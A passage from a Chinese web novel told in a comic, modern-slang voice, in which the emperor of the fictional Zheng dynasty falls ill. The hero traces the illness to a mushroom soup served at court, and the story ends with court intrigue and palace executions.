可是高车部和靺鞨部的大汗却很扫兴,老实、害羞、木讷、胆小的像两个自闭症患者,很小声的委婉拒绝了耶律弧的邀请。 我们是好孩子,妈妈说了不许和别人打架,天黑了要早点回家。 草原汉子,有什么就说什么,藏着掖着那是南人行为。耶律弧和鬼方的柔罗、突厥的乞力屋当时就无情的嘲笑了这两个胆小鬼,烂泥扶不上墙,大好的机会摆在眼前也抓不住,活该放一辈子羊。 你们俩就在草原上拾牛粪吧,我们吃香的喝辣的去了。 emm…… 后来的事情大家也知道了,耶律弧和乞力屋进城追梦失败,又回到了农村里。 柔罗没回来,倒在了他这辈子都融不进去的开封城。 可是,南边的坏蛋文训在这个时候突然就开始了献爱心活动,精准帮扶高车和靺鞨两个部落,跟他们开通互市。 大郑以白菜价卖给了高车茶叶、木材、蔬菜、粮食和绸缎布匹等草原稀缺的货物,其中不乏盐、糖、铁等战略物资。 又通过海运和靺鞨互惠互利,松茸、人参、鹿茸、虎骨、熊掌流进了大郑东市的铺面,刀剑、弓弩、甲胄和盾牌送到了靺鞨将士的手中。 然后,这两个原本老实巴交的邻居,突然就跟打了鸡血、磕了春药似的性情大变,在同一时间对哭声一片的鬼方部和愁云惨雾的契丹部,发起了从身体到灵魂的鞭笞和拷问。 “不是……你妈妈不是说了不许跟人打架吗??” “区区亲妈,何足挂齿?再说老子这会叛逆期!” “不是天黑了要早点回家吗??” “夜生活才刚刚开始,嗨起来吧小宝贝儿!!” …… 契丹部还好,底蕴深厚,虽然靺鞨的拳脚相加真的很痛,但还有那么点招架之力。 鬼方部就惨了,部落里留守的青壮年数量本就不多,根本抵挡不住高车骑兵的凶猛冲锋。就这还因为柔罗死了,几个大家族明争暗斗的争夺汗位,互相坐视不理,导致被逐个击破。 等到建隆二年时,鬼方这个名字,已经彻底消失在了大草原上。 当高车骑兵出现在骆驼城时,突厥现任ceo乞力屋这才悲哀的发现,高车部的目标不是抢夺放牧的水草地,也不是为了女人和牛羊。 他们要征服的,是整个草原。 就在这千钧一发的时刻,另一位狠角色下场了—— 敕勒部。 从先周建立之初,敕勒部就是距离中原王朝最近的草原部落,没有之一。 最辉煌的时期,敕勒牧民赶着羊群,敢在雁门关的城墙下悠然放牧,偶尔还会拉着一两头羊进入关内,换点汉人的酒喝,或者进他们的青楼享受享受生活。 没有人敢打他们的主意,要是有一只羊走丢了,下次来的,可就是上万匹马了。 这也导致了很多敕勒牧民故意在雁门关里弄死自己的羊,因为周人不但要替自己把死了的羊找回来,还会加倍赔偿,安慰他们难过受伤的心灵。 那段日子,真的是要多爽有多爽。 可是,日子并不总是顺心如意的,自从周太祖南下统一了北方后,雁门关来了个蛮不讲理的人,叫申屠筱。 这个家伙很讨厌,不仅不让敕勒牧民进城了,甚至连在城外放羊都不允许。 到最后,他甚至还出城来抢羊抢牛抢马。 简直岂有此理! 叔能忍,婶不能忍!必须要教会他什么叫做谦卑! 敕勒部五万铁骑兵临城下,要求申屠筱给个说法,要是给不出一个让我们满意的回答,老子们…… 敕勒部的合理诉求还没有说完,申屠筱就用一场箭雨回应了他们。 叽里咕噜说什么玩意呢? 敕勒部的可汗勃然大怒,立刻下令攻城!可还没等他们的马跑起来,雁门关就城门大开,涌出来一大批身披重甲的骑兵,后面还跟着无数步卒。 双方前排的士兵都互相贴贴了,城门里的人还没出完。 从那以后,日子就不好过了。申屠筱不仅取消了敕勒部原本的福利待遇,甚至还要克扣他们的绩效工资。后来更是变本加厉,竟然跑到敕勒川来抢东西! 到最后,敕勒牧民别说在雁门关放牧了,在敕勒川都放不成了…… 部落的名字叫敕勒,家里的锅碗瓢盆和小毡房却被赶到了漠南,远离了敕勒川。 这叫什么事啊这! 申屠筱将敕勒川重新改为云中府和九原府,并且宣称这个地方自古以来就是汉唐故土、虞夏旧封。我们汉末时期的名将吕布就是这里人,以前忙,没空回来住,没想到竟然被你们给鸠占鹊巢了,要脸不? 现在你们要么归顺云中节度使麾下,要么哪凉快上哪待着去! 理性的人觉得:只要能在敕勒川放牧,跟谁混不是混呢?而且听说申屠筱还招小弟,只要帮他砍人,就不用再苦啦吧唧的放羊搂草了,这么一想,也挺划算的。 感性的人觉得:那特么本来就是我们的地盘,祖上传下来的,有证可查。用得着你申屠筱施舍?!子孙们要是问起来:我们敕勒部为什么不在敕勒川?这特么怎么回答?对得起先祖吗? 于是,敕勒部和云中节度使的感情纠葛就此开始了,双方打了将近二十年,上一任大汗至死都没能回到生他养他的故乡,抱憾而终。 不过好在那个讨厌的申屠筱也病死了,敕勒部的族人觉得,机会来了。 听说继任的云中节度使是个叫申屠明光的愣小子,听都没听说过,估计是个不学无术的公子哥,吓他一下试试~ 这一吓,吓出了一辆陕汽重卡。 申屠筱是激进派,觉得应该把敕勒部赶出敕勒川,让他们这辈子再也回不来。 申屠明光是保守派,他觉得老爹的想法太激进了,应该让这群可怜的人回来。 漠南那种地方风沙太大,不适合放牧,还容易导致土地荒漠化。而且那里野生动物太多,狼啊熊啊的,严重威胁着牲畜和牧民的生命。 想你的风还是吹到了漠南,为了敕勒牧民的身心健康和财产安全,申屠明光带了五万铁骑,来到了漠南草原,规劝大家回去。 当然了,敕勒贵族和可汗就不用回去了,这里风水挺好的。你们自己挖坑跳进去也行,请我帮忙也行,本着人道主义精神,不收取任何费用。 好家伙!你爹把我们赶出老家也就算了,你小子连漠南都不让我们待了?! 受不了了!!! 第147章 欣欣向荣 这种情况下,和解是不可能和解了,用“仇深似海”都不足以形容敕勒部和云中节度使的双边关系,双方不仅互相挖墙脚、拆台子,还整整打没了一代人,外加两个一代目。 国仇家恨集齐了属于是。 为了补充兵员和人口,敕勒部开出条件,不管你是草原人还是汉人,哪怕你不是人,只要你愿意来我们敕勒部,我们就给肉给马给姑娘,你给我提上刀剁申屠明光去! 申屠明光也是同样的政策,草原人怎么了?草原人就是我亲兄弟!只要来了就有美酒有佳肴,给户口给房子! 不管你是流寇啊还是盗贼啊还是什么乱七八糟的玩意,我都不管!只要你愿意骑上马去给我砍敕勒可汗,你就是我的好兄弟! 双方红眼到了什么程度? 草原部盟遇到千载难逢的良机,应开疆愿意主动开放那些该死的燕云险关,放大家南下中原打草谷,还报销来回路费、免费提供食宿。就这,敕勒部都不为所动。 汉地各镇节度使逐鹿中原、孙芝出兵河北、晋阳府最空虚的时候,也只是防着李遗景和韩珏,对申屠明光几乎没有设防。他也对这些没兴趣,一心只想搞死敕勒部。 但现在,情况不同了。 高车部吞并了整个鬼方部,实力大增,一跃成为整个草原最强的势力,十万铁骑遮天蔽日,正准备对突厥动手。 乌云遮蔽了太阳,羊群混进了饿狼,再不干点什么,迟早轮到自己。 于是敕勒可汗做出了一个违背祖宗和内心的决定,派使者向申屠明光讲和。 注意,是讲和,不是请和。 我不是怕了你,只是有事要离开一会,等我回来还是要收拾你的!反正我把话放这儿了,你爱同意不同意! 对方大概率是不会同意的,但总要试一试,实在不行就两线作战,反正不能让高车吞并突厥。 令敕勒部没有想到的是,申屠明光竟然破天荒的同意了和平发育的提议,大家互相补兵清线,过去的就让它过去吧~ 为了表示诚意,他甚至还释放了好多战俘,送来了一些吃的喝的。检查过了,没毒,等了十几天,也没玩欲擒故纵。 敕勒部的豆仑可汗,有点怀疑人生了。 据他所知,申屠明光已经归顺了大郑帝国,大郑皇帝支持高车部,申屠明光这么跟皇帝唱反调,是怎么个意思?难不成他也想自主创业? 他不禁陷入了沉思之中…… 但也没沉思多久。 被打的哭爹喊娘的乞力屋派儿子冲破高车部的重重包围,费尽千辛万苦来到了漠南,扯着豆仑的狼皮裤子哭的声泪俱下: 别墨迹了哥,再不来水晶都要爆了! 啊?啊……那就先干活吧。 于是,敕勒部也加入了草原争霸赛,和突厥、契丹一道对抗邪恶的高车和靺鞨,共同维护大草原上的和平和秩序。 申屠明光站在云中城头上,乐的都快要笑出声了,心情大好的吩咐火头营今晚给全体云中军将士加餐,给马也加!顺便解除禁酒令,先畅饮个三天再说。 他才不会趁着这会儿去偷豆仑的屁股呢,你们打的越烈越好,最好战斗到最后一个敕勒人。 一个被高车统一的草原,是不符合大郑帝国利益的。大郑支持高车和靺鞨搞事情,可不代表就是为了他们好,更不希望他们真的统一草原。 最好是互相攻伐,打生打死,永不停息的争斗下去。 至于高车部和靺鞨部知道后会怎么想,谁管你呢? 人的欲望就像高山上的滚石一样,一旦开始就停不下来。 高车部吞并了鬼方后,无论是人口、牛羊、兵马还是地盘,都已经成为了事实上的第一,这个时候就算大郑反对,他们也绝对不会停止统一兼并的步伐。 靺鞨部也是,既然已经出手了,不把契丹打废打残的话,他们这辈子、下辈子都别想睡个好觉了。等到契丹喘过气来,第一个要收拾的就是他们! 狂风吹~云低垂~ 射雕英雄何时归? 马蹄催~我心碎~ 苍狼大地,主沉浮是谁! 大草原乱成了一锅粥,南方也同样也不太平。 牂牁蛮已经忍孟玄好久了!! 我们世世代代都住在寨子里,上山砍柴捕猎,回家喂鸡烤鱼,日子过得好好的,这小子非要让我们全体迁往西川平原居住。 正所谓故土难离,看过《山海情》的朋友们应该都知道,劝说西海固的村民动迁难度有多大,那还是为了他们好,尚且阻力重重,千般不愿。 孟玄把牂牁蛮各大土司劝到西川平原去生活,可不是免费的。去了之后得给蜀国交赋税、募兵员、上战场! 既然下了山要打仗,待在山上也要被你打,那我们还下个毛的山? 在山上的寨子里,老子就是土皇帝,到哪都是爷,去了你那里以后还得给你三跪九叩,小心做人低头装孙子,我图个啥? 那种感觉就完全不一样好吧! 最重要的是,孟玄竟然嫌弃土司们送给他的猪油糯米团子,觉得太腻了,一口都不肯吃!那可是我们当地的特色食物,是我们精心准备的,足以见得他跟我们多么有距离感! 你家猫! 和牂牁蛮一样生气的还有大理段氏,不过他们生气的点不同,是因为一个女人。 大理国的老国主起初是很看好孟玄这个年轻有为的小伙子的,这一点没错,孟玄的成绩确实足以傲视同龄人了,全服第三,甚至和第二的李雄差距也没多少。 这么优秀的小伙子,谁见了不爱? 于是老国主决定把自己最喜爱、最受宠的女儿嫁给孟玄。由于他已经有正宫了,所以只能封妃。 妃就妃吧,反正大理国摆在这里,他总不可能让女儿受委屈吧?这么优秀的年轻人万一创业成功了,那整个段氏也跟着沾光不是? 况且,皇后又不是爹娘,是可以换的嘛~日子还长,以后会变成什么样,谁也说不准不是? 但让段国主打死也没想到的是,他的宝贝女儿、掌上明珠去了成都才半年不到,就被告知意外落水身亡了。 孟玄派了最心腹的大臣前来告丧,再三解释这真的只是一个令人悲痛的意外,绝对不是因为后宫争斗或者人为原因造成的悲剧,请老国主千万不要误会,节哀顺变呐! 我节你奶奶个腿! 段国主全程阴沉着脸听完,然后马不停蹄的就叫人把蜀国重臣拉出殿外串了烧烤,并且叫儿子和手下们整顿兵马,联系盟友。 我女儿在大理生活的无忧无虑,到了你那才几个月就噶了,你不喜欢可以送回来嘛!翁婿做不成,咱们还是盟友啊。 意外落水?你咋不意外落水呢? 是非对错我已无心分辨,别特么扯犊子了,开战吧! 其实这事还真是孟玄理亏,段公主从小受爹娘疼爱,哥哥们也都把她捧成掌心宝,性格难免娇蛮了一点,但并不是那种惯坏了的孩子,不分尊卑上下。 孟玄与正宫皇后感情极好,当初角逐蜀国ceo时,皇后就是世子妃了,其背后的家族更是给人给钱给粮拉选票,老丈人甚至都亲自上阵了。 所以段公主期待的那种后宫佳丽三千,独宠一人的美好爱情肯定是不会出现的,至少不会出现在她的身上。 所有人都低估了她的脆弱程度,就因为这种落差感,她竟然跳进水里自杀去了。 本来,她只是想吓吓孟玄,引起他的注意,唤起他的怜爱之心。可令她没想到的是,池子里的水草很长,直接缠住了她的脚踝,怎么扯也扯不断。 她会游泳。 但大部分溺水而亡的人,都是会游泳的。 孟玄当时就在旁边,却并没有第一时间派人施救。他早就将段公主的一切查了个底朝天,知道她会游泳,所以心里也赌着气呢。这么爱作,朕就看着你作。 看着看着,他才感觉好像有点不对劲了。 但一切都已经晚了。 云贵高原上的大理国和牂牁蛮同时用手里的刀剑表达自己的不满,对整个蜀国来说都是一场不小的麻烦,孟玄没等来中原剧变,自己家后院先起火了。 大郑还在关中和南阳布置了重兵,下一个目标明显就是他,什么时候出兵,谁也说不准。 他们只是休养生息,如果有千载难逢的良机,该动还是会动,愁的孟玄白头发都出来了。 当然了,作为被大郑特工重点照顾的江南地区,自然也不会幸免。 清泉节度使陈瑾,最近召集了手下的马仔们,开了场小会。 他最近在苦恼一件事情:按照目前的形势来看,大郑一统天下,应该只剩下时间问题了。最迟十年,最快三五年,郑军就会出现在泉州城下。 那么到时候,清泉节度使及周边附属地区势力,又该摆在什么位置呢? 大家伙都是干外贸生意的,汴京万一不支持对外交流活动,我们是忍了呢?还是忍了呢? 还是背起行囊远走他乡? 要不现在就试着接触谈谈吧,可以的话,大郑王师南下时,我们偷李雄的屁股,以后给我们开海特权如何? 虽然这样有点坐地起价的感觉,可能会引起汴京的反感,但海贸确实是我们的生存根本,不趁着现在说,就再也没有机会了。 还没等大家讨论出个一二三呢,大郑的使者就像闻着味的狼一样,出现在会场外面了。 第148章 老文病了 一个村子里的乡亲们不是在吵嚷对骂,争论谁家驴吃了谁家麦;就是在互相肘击,指责谁家汉偷窥谁家媳。 而村长家却宅院和睦,中式花园宽敞亮堂,院子里还有小喷泉。wifi全屋覆盖,就连厕所里都是满格,一点都不影响刷着“就是梁立”和“小藤777”笑出猪叫、蹲到腿麻。 不仅如此,他们彼此之间的矛盾还要靠送礼、请村长出面才能摆平。 这样的局势下,大郑没有任何烦恼。 可是,人性是扭曲的。 在正面挑战大郑无异于老寿星吃砒霜时,很多人就开始动起了歪心思,灵气也是气,怨气也是气,邪修也是修嘛! 当凌晨在家专心做奶爸、穿女装逗青柠脱离产后抑郁时,宫里传来了消息,陛下近日身体越来越差了。 老文今年已经六十一了,一甲子匆匆而过。又因为长年征战,年轻时身体落下不少伤,五十多岁还陪着凌晨这样的年轻小伙跳悬崖、玩极限运动,身体大不如前也是理所当然。 更何况,自从他做了皇帝,日常要处理的公文和不得不面对的心理压力更是倍增。不说别的,光是庐州南征时文初的哄堂大孝,就够老文喝一壶的。这都没抑郁,已经算是心理强大了。 孤家寡人,独守冰冷宫廷,揣测着人心得了几分、失了几寸。手中所执的每一颗棋子落下,都会生出千般根。 血水与墨水交融,凶卦与吉签卜现,君临天下的背后,究竟是心满意足,还是不得安宁…… 人非草木,孰能无情? 思量再三后,凌晨决定主动进宫,探望一下这位长辈、老朋友、一起扛过枪的上司。 由于已经很久没来皇城觐见,新晋的守门御林军都不认识凌晨了,直到看了他的腰牌和碟片后,才知道眼前这个年轻人就是曾经权倾朝野的殿帅。 “末将为您带路,侯爷请随……” “不用,”凌晨伸手阻止了守门银卫的热情引路,望着高大幽深的皇城墙,内心有些莫名伤感的说道: “这里我比你熟。” 说罢,他就在一群御林军呆滞的目光中,背起双手,像是市井闲逛一般,晃晃悠悠的走进了皇城。 苔痕旧欣荣,庭宇伦奂一如虹,墙青厚,檐雕如箜,斗拱画壁势飞龙。当时曾来游,登高处,笑指白云东。唯慕汉高祖,大一统,问此志几人共,谁敢同? 荏苒又登楼,连绵峰峦远似梦,红拂女,古寺敲钟,早知李靖是英雄。而今再回首,凭栏望,花随风落空。夏至淅沥雨,雾朦胧,叹这景酸人眼,湿我瞳。 那个至高无上、令无数人为之疯狂的位置,在没有坐上去之前,是满心欢喜、浑身干劲,做梦都想的。 等真正得到了,坐上去了,又完全是另一种感觉了。 是奖赏,也是枷锁。 因为一旦坐上去,可就下不来了。 这玩意和找女朋友有异曲同工之妙,恋爱之中最美好的时刻,永远都是即将追到手的那一段时间。 追到手后,意味着你失去了选择其他人的权利。当然,如果你换女朋友如喝水,当我没说。 况且,皇位跟女友可不一样,不是想换就能换的。 抛弃女友无非就是被骂被诅咒,被纠缠不清,最多就遇到个偏激点的拉你殉情或者割你小弟弟。 抛弃皇位,那可是要人头滚滚、血流成河、狼烟四起的!不死上个几万人,这事能了了?想都别想好吧! 老文看起来很憔悴,脸型比以前更瘦了,身骨也有点萎缩。不知道是愁的还是病的,反正肯定不是饿的,御膳房的人应该不想死。 从龙精虎猛、精神矍铄到老态龙钟、风烛残年,也就不到十年时间。 见到凌晨能主动来看自己,一向喜怒不形于色的老文呵呵笑了。急不可耐的放下了手中的笔,从一堆堪比高三课桌的书案中走了出来,像个孩子一样拉住凌晨的胳膊,把他扯到乾元殿的偏殿食桌前。 “去,把西川新进的鲜菌汤盛两碗过来。” 吩咐完内官后,老文从一旁的楠木架子上取下来一个黑色的盒子,摆在凌晨面前,神秘的笑了笑,轻轻打开。 里面是一把做工精细、质地上乘的金挂锁,和一块淡蓝色的泪滴状玉佩。 凌晨瞪大眼睛看着盒子里的两枚物件,虽然他不懂金银和玉石,但也能一眼看出不凡,肯定价值不菲。 “知道你不喜欢被打扰,但到底是有了孩子,朕这个皇爷爷不送娃娃点东西怎么成?这把金锁是朕叫宫里的匠人从一堆金器中熔炼提纯后打造的,这枚泪坠是关中进上来的,说是蓝田暖玉。今日赶着你来了,走时带回去给我那侄孙女。” 凌晨是个生性凉薄的人,说实话,他对谁都是脸上笑嘻嘻,心里妈卖批,打心眼里瞧不上任何人。 但同时,他也是一个很容易被感动的人。 鼻子一酸,眼前的画面就朦胧了。 吸了吸凭空出现的鼻涕后,凌晨眨了眨眼睛,努力让泪水不要落下来,也不顾什么狗屁君臣之礼了,自顾自的伸手从盒子里取出两样东西,拿到眼前观察。 却无心观察。 “陛下日理万机,却还惦记着臣的家中小事,臣……” 说着说着,凌晨的嘴角就不由得瘪了下去,这老头真的是…… 杀我别用感情刀啊喂! 老文哈哈一笑,笑着笑着,也不由得叹了一口气。 “唉……朕近来身子每况愈下,越来越感觉力不从心咯……” 换了个舒服的姿势后,老文脸色有些忧伤的说道:“想必你也听说了,前些日子,朕突然感觉腰侧内里疼痛难忍,御医也看不出来是怎么回事。甚至有时候……” 说到这里时,老文目光瞥了瞥殿外,这才压低声音继续说道:“朕有时候夜间批札子,会看到殿内的柱子后方疑有人影,召御林查搜,又空无一物。 与人当面交谈,又会看到许多稀奇古怪的东西,鹅毛满天落在眼前,战马踏进殿门,奔至朕的身前,马上之人看不清真容,只觉杀气凌凌!问与左右,皆奏未见,朕虽然心中疑惑,却也不得不缄默闭口……” 凌晨听得眉头皱起,压力这么大的吗??都出现幻觉了?? 突然,一个令他心中一惊的想法从脑袋里冒了出来,他压低声音、犹豫着问道:“陛下……近来不会是食用了仙丹道丸之类的吧?” “嗯?” 老文双手将黑盒子盖上,听到凌晨这么问,淡然一笑:“朕虽留恋人世,也惧怕生死,但还不至于糊涂到那个地步。自古以来的帝王,食用丹药者何其多也!到最后,可有一人得了长生? 不过是水中月轮、镜中花影,庸人自扰罢了~生死有命,天理有常,哪有人能违背生老病死的规律呢……” 听到他这么说,凌晨这才放下心来,只要不是嗑药就好,那玩意真是什么东西都往里头加,好人吃了也得废,更何况老文这种上了年纪的,跟给自己脑门上库库贴催命符没区别。 “所谓长生仙丹,不过是道人方士们利用人们留恋尘世的心思,用来敛财骗钱的幌子。那些丹药不仅于增寿无益,相反还会损害人体,无异于性淡效缓的砒霜。 陛下英明神武,切不可抱侥幸一试之念,万一落我之心贸然尝试。从古至今,无一人能逃脱岁月年轮,活在当下,过好今日,才是重中之重!” 老文欣慰的看着凌晨说道:“朕自然是知道的,这话也就你敢说出来,旁人都是顺着朕的心思。即使做不到,他们也不会说出来忤逆朕,只为迎合君心,不为实际考量。” 听到老文这么说,凌晨哈哈笑着说道:“那是因为臣年轻,口无遮拦,不擅揣测帝心以获恩宠,只知据事直书。也得亏是与陛下相识的早,多蒙包容,若是换了旁人,怕是早就拖出去五十大板了~” “哈哈哈哈~~” 老文笑得身子后仰,食指指着凌晨不停点动:“虽是谄媚卖乖,奈何朕就是爱听!罢罢罢……” 笑够了后,老文似乎是又想起了什么事,叹着气说道: “朕的时日不多了……你觉得,朕大行以后,太子……能压得住扬善和良元吗?” 杜宣是文臣之首,李继贤是大郑公认的第一战神,文若能不能压得住他们,这个问题……还真不好说。 “臣不知道。” “是不知道,还是不敢说?” “是真不知道,也确实不好说。但臣觉得,陛下不必过于担心。” “哦?”老文疑惑的直起身子,看着凌晨问道:“这话又如何说?” 凌晨目光平静的看着老文浑浊的眼睛,语气中带着三分不屑:“若是陛下走后,指定太子继任,臣对他会像对陛下一般无二。无论对手是谁,要做什么,臣都会尽心竭力的辅佐太子解决麻烦。” 老文摇着头喃喃道:“不是所有问题,都能用剑解决的。” 凌晨先是点着头认可了老文的观点,随即又话锋一转—— “但制造问题的人,一定能用剑解决。” 第149章 君臣相契 “我那不成器的妻弟,已经被猪油蒙了心。若是扬善最后也不能全了名节,纵使最后拿了他,也会被心思难猜的寡言史官记下:郑朝开国左右臂膀,皆怀异志。 到那时,后世之人又会如何评价大郑,评价朕,评价这些开国功臣呢……朕每每想起,总觉的心痛万分。朕与他们,恰如若儿与你和问阶,走到今天变成这个样子,何其痛哉!!” 凌晨觉得,老文有点感性了。 “共患难易,同富贵难,乃是世间常理,寻常人尚且不能避免,更何况是庙堂之上,陛下大可不必为此忧虑神伤。 陛下继往开来、剿灭群雄,结束了中原的百年乱世和诸侯林立。如今蜀乱唐弱、草原混战,荡平天下、威加海内已成大势所趋。 只需好好保重龙体,待时机一到,派一惯战之将、领虎狼之师,先取巴蜀、再下江南,草原犁庭、大漠逐鹰!若能做到这些,后世自有大儒为我朝辩经。” 听完凌晨的劝解后,老文非但没有感到释怀,反而看起来好像更糟心了。黑白相间的灰眉紧皱不展,嘴唇抿住不语,眼中似有浓浓的担忧和……不甘。 这正是他感到焦虑的另一个原因。 “朕……朕的身体状况,朕自己心里清楚。只怕是空有千里之志,而无奔腾气力了……” 这…… 老文成功把凌晨也给干沉默了,似他这般年纪,再加上平时繁务缛杂,每天上千道上疏和札子送到案头,比写小说的还要抓马! 而且能呈到他案头的,基本都是一等一的大事。一张薄薄的纸片上,几十上百个小字的背后,很可能就是几百上千人性命攸关的计较,落错一个字,都可能会酿成不可挽回的悲剧…… 难呐! “依臣愚见,陛下倒也不必事事亲躬,有些轻缓的,或可交与太子处理,陛下只需过目即可。 如此一来,既锻炼了太子的理政能力,陛下也能去些辛劳。 当然,这只是臣以自身经历想出来的粗浅方法,若是事不可行,陛下切莫怪罪。” 凌晨的话说完之后,偏殿里静默无声。 这种话,换成任何一个臣子说与君王听,就算不抄家灭族,那也得流放岭南。 权力是让人着迷的,在它面前,什么摇头丸海洛因之类的都弱爆了!!没有人愿意将它分出去哪怕一丝,哪怕是分给自己的亲儿子。 除非我死了,否则谁也别想从我手中拿走!! 所以,当凌晨说出这句话的时候,就已经做好迎接雷霆之怒的心理准备了。 一般来讲,这种事他都是置身事外的,你们特么爱谁谁,关我鸟事? 但老文好歹也认识这么久了,对自己真的挺不错的,就是自己的父母,都不会对自己这么宽容和照顾。仔细想想,他好像从来没有对自己发过脾气,一次都没有。 今天还拿出了给女儿的小礼物,凌晨承认,自己也感性了。 撸就撸吧,大不了我啥都不要了,带上青柠去关东或者关中隐居去,本来无一物,何处惹尘埃,爱咋咋地吧~ 他低着头等了好久,没等来斥责和“来人,将此子给我推将出去”之类的话,而是一只有些干枯的大手。 老文伸手搭在凌晨的肩膀上,言语中满是欣慰之意: “老夫没有看错你,从我们第一次在江淮战场相遇,你没有杀良冒功,亦或者携我人头逃往唐国换取富贵,我就知道你天性纯良,绝非俗类。 想不到这么多年过去了,依旧没有改变过。老夫看重的从来不是你的能力和武艺,而是你的一身坦荡,坦荡的都有些不真实。” 凌晨抬起头,望着露出一脸慈祥的老文,张开嘴重重的叹了一口气: “女为悦己者容,士为知己者死。大人待我亲如子侄、始终如一,我自当待大人如叔伯,岂会因他虑而缄言。” “不错……不错!” 老文拍了拍凌晨的肩膀,抬起头看向这肃穆庄严、摆满了名贵家具和装饰摆件的宫殿,心中的忧虑和孤独顿时就消解了不少。 自古以来,帝王都是没有朋友的。 但他有。 虽然只有一个,但已经足够了。 就在这时,内官领着两名宫女,小心翼翼的低着头端来了两个透碧色的玉碗,里面的羹汤冒着丝丝热气,碗中还放着两支银勺。 老文整理好情绪,笑着对凌晨说道:“来,先尝尝这鲜菌汤,这是孟蜀使者进贡上来的,味道极其鲜香,想必你还没有尝过,试试~” 见老文一脸期待的让自己喝,凌晨也吸了一口气,不再去想其他事,天大地大,吃饭最大。 等到宫女们把汤布好后,他也不说谢恩,就这么用手拿起勺子,准备尝尝皇宫里的玩意儿。 但是下一刻,他的手就停在了半空中。 宫女布完后,就低着头弯下腰面朝老文和凌晨,缓缓向后退去,内官也准备转身离开。 “站住。” 一道森寒无比的声音传入三人的耳中,将那内官和两名宫女吓的不由自主的浑身一颤,连忙跪了下来。 凌晨坐在桌子前,扭头看向这三个人,冷漠的问道:“这道羹汤,是谁煮的?” 老文见凌晨一脸严肃,语气不善,周身似乎有淡淡的杀意萦绕,瞬间也皱起了眉头。 那内官结结巴巴的说道:“回……回临颍侯,此羹乃是……乃是尚食局所作,今日……今日是胡掌膳掌勺。” 凌晨听完后,并没有鸟他,而是对着殿外喊道:“来人!” 下一刻,何关亲自带着两个御林金卫冲了进来。 凌晨将手中的银勺往桌上一丢,迅速站起身来,语气中没有一丝客气,直接以命令的口吻对何关说道: “去把尚食局的尚食女官、还有做出这两碗羹汤的胡掌膳给我带过来!今天在值的尚食局所有人等,不管他是干什么的,全部扣押!等我查清楚,再做计较!” 何关茫然的听完后,扭头看向陛下。 老文语气阴沉的低喝道:“没听见吗?还不快去!” “是!!” 见手青是云贵地区很常见的菌菇,味道确实还不赖,但这玩意就跟河豚一样,做它的人如果不懂,那就是慢性毒药。个别情况下、或者特定人群吃了,有些会致幻、有些会昏睡不醒,更有甚者可能还会引起肾脏衰竭。 老文六十多的人了,你给他吃这个? 听他之前的描述,显然是煮的时间不够或者没有焯掉毒素。而且也不知道吃了多久、吃了多少,再加上刚刚他说过,腰侧内里疼痛,估计不是肾就是肝。 如果是无心,失职失察,死。 如果是有意,三族以内,消失。 趁着等候的空档,老文目光灼灼的看向眼前的两碗羹汤,沉默了良久,还是忍不住开口问道:“此羹有毒?” “做的好了没毒,但不宜多食,尤其是年长之人。做不好了有毒,个别情况下可能几天之内就会身体衰竭。” “银针测了未见发黑,试菜官也吃了,为何安然无恙?” “那就要看一会他们怎么回答了,如果试菜官吃了曾有不适,隐瞒不报,该杀。如果没有不适,就是有人少量多次递毒,精心策划、妄图暗中谋害陛下。” 文训的脸色瞬间就变得铁青了。 没过多久,何关就回来了,但是脸色很不好看。 两个御林金卫就提进来一个头发散乱,穿着官服的女人,那女人一脸的惊恐和慌张,显然不知道发生了什么事情。 见到这种情况,凌晨的眉头皱的更深了。 “我们到尚食局的时候,胡掌膳就已经死了,听其他掌膳和司膳说,他是自己突然口吐黑血,倒地不起的。试菜官失足落水,跌进了景灵池中,被发现时,已经泡了一刻钟有余。” 凌晨背起双手,立在偏殿中央,冷冷的看着跪在地上的尚食女官、两个宫女和内官。 然后,他又抬起眼眸,将目光落在了何关身后的两个御林金卫身上,目光刺的他们不敢与凌晨对视,纷纷低下头来。 最后,凌晨的视线停留在了何关的身上。 何关吞了吞口水,强忍着内心的惧怕,努力让自己镇定下来,并且在心中不断的告诫自己:不是我,不心虚,不是我,不心虚…… 被凌晨挡住三分之一身子的文训,宛如木雕一般坐在座位上一动不动,谁也不知道他在想什么,也没有人敢去开口询问他。 “全部杖毙。” 何关长长的出了一口气,抱起拳头答道:“是!” 下一刻,又从殿外冲进来六七个御林金甲,不分由说就把那两个宫女和内官按住胳膊从地上拽了起来,那尚食女官更是惊恐的大喊大叫了起来: “饶命啊陛下!陛下!臣什么都不知道啊!陛下!陛下——” 待到殿内又只剩下凌晨和文训两个人后,文训这才不再克制,露出了怒容,脸颊上的肌肉扭曲蠕动,明显是里面的牙龈在紧紧咬合。 接下来的话题,凌晨是真的不能再参与讨论了。 因为那比权力问题更加敏感。 能在这么短的时间内,在大郑帝国的皇宫禁中,消息灵通到如此匪夷所思!竟然赶在何关到达之前就处理掉了相关的人,还没有留下一丁点痕迹和把柄。 当今天下,还有谁具备这样的能力呢? 她做的越是完美,就越是破绽百出。 第150章 禁足 大郑皇帝令: “即日起复设殿前都点检之职,命临颍侯凌晨肩任,统领京城内外大营、马步诸军将士。见令拖怠者,立斩;公然违逆者,夷族。” 背上插着黄、红、绿三色旗子的飞骑围绕着皇城宫中、汴京校场、京郊诸营,将皇帝陛下至高无上的意志传达到每一处营房、每一处军寨、每一个人的耳中。 当初,是凌晨主动辞去殿帅职位,想要回家安心教书的。现在,他的教育事业得往后放放了。 清露宫,是大郑皇后、一国之母的居所。 文训背着手走进正殿大门后,他身后的何关抬手轻挥,几个身形雄壮的御林金卫立刻冲上前去,将站在大殿门口的内官、宫女全部捂住口鼻,捉着下巴猛的一扭,全部无声的瘫软倒下,再无生息。 曾经的江淮节度使夫人,如今的皇后娘娘,正坐在自己的梳妆台前对着金边铜镜发呆。 年华老逝、朱颜易改,已经不记得是从什么时候开始,皱纹爬上了自己的眼角,哪怕是用最好的胭脂和水粉,也遮不住岁月的无情。 遥想当年,自己初嫁至汝南,豆蔻年华、天真烂漫,他风度翩翩、潇洒倜傥。夫妻二人郎才女貌、门当户对,恩爱之浓,真真是羡煞了旁人。 他主外,征战沙场,自己主内,打理内院,二人同心相契,简直是天作之合、模范夫妻。 弹指一挥间,已经过去四十几年了…… “哒哒~” 听到身后传来的脚步声,皇后轻轻叹了一口气,挥手叫一旁的贴身心腹、陪嫁丫鬟,如今的禁中内宰、后宫总管晴云先下去。 晴云目光中透露着浓浓的担忧,但她明白,自己不得不离开了。 对着文训庄重一礼后,晴云双手并在身前腰间,心事重重的低着头走出了清露宫。 才刚出宫门,何关和一群御林金卫就围了上来,个个目光不善,无声的拦住了她的去路。 